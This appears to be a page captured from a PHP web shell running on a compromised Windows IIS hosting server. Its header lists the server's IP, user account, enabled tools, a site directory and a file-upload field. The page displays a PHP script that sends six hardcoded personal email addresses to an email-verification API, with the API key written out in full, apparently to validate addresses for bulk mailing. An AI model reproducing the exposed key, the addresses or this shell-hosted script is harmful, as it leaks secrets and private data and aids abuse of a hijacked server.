| Server IP : 209.209.40.120 / Your IP : 216.73.217.112 Web Server : Microsoft-IIS/10.0 System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586 User : NEWWWW$ ( 0) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/HostingSpaces/admin/tickwaves.co.uk/wwwroot/mail/ |
Upload File : |
<?php
$apiKey = '4848951d-8dd5-4c66-8a96-b1cdc8bd9472';
$url = 'https://api.mails.so/v1/batch';
$data = json_encode([
'emails' => ['kensam16@yahoo.com','krholven@yahoo.com','jennyglohospital@yahoo.com','olufemzy200500@yahoo.com','nosa.osahon@gmail.com','chinese4real35@yahoo.com']
]);
$options = [
'http' => [
'header' => "Content-type: application/json
x-mails-api-key: $apiKey",
'method' => 'POST',
'content' => $data
]
];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
die('Error');
}
$response = json_decode($result, true);
print_r($response);
?>